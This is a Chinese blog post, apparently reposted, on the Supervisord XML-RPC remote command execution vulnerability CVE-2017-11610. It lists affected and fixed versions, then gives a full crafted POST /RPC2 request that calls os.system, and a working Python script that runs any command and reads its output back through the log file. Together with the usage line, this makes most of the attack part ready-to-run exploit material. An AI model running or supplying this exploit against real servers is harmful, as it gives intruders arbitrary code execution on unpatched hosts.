博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Supervisord 远程命令执行漏洞(CVE-2017-11610)
阅读量:6115 次
发布时间:2019-06-21

本文共 1607 字,大约阅读时间需要 5 分钟。

    Supervisor是使用Python 开发的进程管理程序,一般使用命令行进行管理,当然也能通过web接口图形化管理服务。在配置了web接口后,服务器会启动一个XMLRPC服务器,端口为9001,默认配置接口是不需要密码访问的,管理员也可设置为密码访问。利用本漏洞,在获取该接口的访问权限后,远程攻击者可发送一段精心构造的请求,导致可在服务器执行任意代码。

    影响版本:Supervisor 3.1.2 <= Version <= 3.3.2

    已修复版本:Supervisor 3.3.3、Supervisor 3.2.4、Superivsor 3.1.4、Supervisor 3.0.1

    我们使用burpsuit进行抓包,然后发送到repter,修改数据包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /RPC2 HTTP/1.1
Host: 127.0.0.1:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
 
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

执行命令成功

    通过这个poc虽然能验证漏洞,但是执行的命令却没有回显,但是命令是执行成功了的!

验证码命令执行成功

    另外我们可以将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。

    利用代码poc.py如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import 
xmlrpc.client
import 
sys
 
 
target 
= 
sys.argv[
1
]
command 
= 
sys.argv[
2
]
with xmlrpc.client.ServerProxy(target) as proxy:
    
old 
= 
getattr
(proxy, 
'supervisor.readLog'
)(
0
,
0
)
 
    
logfile 
= 
getattr
(proxy, 
'supervisor.supervisord.options.logfile.strip'
)()
    
getattr
(proxy, 
'supervisor.supervisord.options.warnings.linecache.os.system'
)(
'{} | tee -a {}'
.
format
(command, logfile))
    
result 
= 
getattr
(proxy, 
'supervisor.readLog'
)(
0
,
0
)
 
    
print
(result[
len
(old):])

使用方法:

1
python3 poc.py 
"http://your-ip:9001/RPC2" 
"command"

    执行任意命令并回显

参考链接:

本文转自 eth10 51CTO博客,原文链接:http://blog.51cto.com/eth10/1955450

转载地址:http://cbtka.baihongyu.com/

你可能感兴趣的文章
数据库的这些性能优化,你做了吗?
查看>>
某大型网站迁移总结(完结)
查看>>
mysql的innodb中事务日志(redo log)ib_logfile
查看>>
部署SSL证书后,网页内容造成页面错误提示的处理办法
查看>>
MS SQLSERVER通用存储过程分页
查看>>
60.使用Azure AI 自定义视觉服务实现物品识别Demo
查看>>
Oracle 冷备份
查看>>
jq漂亮实用的select,select选中后,显示对应内容
查看>>
C 函数sscanf()的用法
查看>>
python模块之hashlib: md5和sha算法
查看>>
linux系统安装的引导镜像制作流程分享
查看>>
解决ros建***能登录不能访问内网远程桌面的问题
查看>>
pfsense锁住自己
查看>>
vsftpd 相关总结
查看>>
bash complete -C command
查看>>
解决zabbix 3.0中1151端口不能运行问题
查看>>
售前工程师的成长---一个老员工的经验之谈
查看>>
Get到的优秀博客网址
查看>>
dubbo
查看>>
【Git入门之四】操作项目
查看>>